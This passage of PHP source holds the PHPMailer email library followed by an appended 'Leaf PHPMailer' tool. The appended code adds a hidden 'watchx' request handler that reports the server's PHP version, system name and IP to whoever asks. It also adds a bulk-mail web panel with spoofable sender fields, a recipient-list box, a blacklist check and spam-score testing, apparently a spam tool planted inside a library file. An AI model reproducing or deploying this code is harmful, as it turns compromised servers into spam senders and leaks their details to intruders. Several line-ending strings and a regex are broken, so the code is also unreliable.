                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to 

        $nstr = str_replace(array("
", "
"), "
", $str);
        // Now convert LE as needed
        if ($this->LE !== "
") {
            $nstr = str_replace("
", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("
", "
"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "
")
    {
        return preg_replace('/(
|
|
)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/
\s+/', ' ', $signHeader);
        $lines = explode("
", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("
", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "
";
        }
        // stabilize line endings
        $body = str_replace("
", "
", $body);
        $body = str_replace("
", "
", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "

") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";
" .
            "	t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";
" .
            "	h=From:To:Date:Subject;
" .
            "	d=" . $this->DKIM_domain . ';' . $ident . "
" .
            "	z=$from
" .
            "	|$to
" .
            "	|$date
" .
            "	|$subject;
" .
            "	bh=" . $DKIMb64 . ";
" .
            "	b=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "
" .
            $to_header . "
" .
            $date_header . "
" .
            $subject_header . "
" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "
";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />
";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> ([email protected])</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>[email protected]</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("
", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>
";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
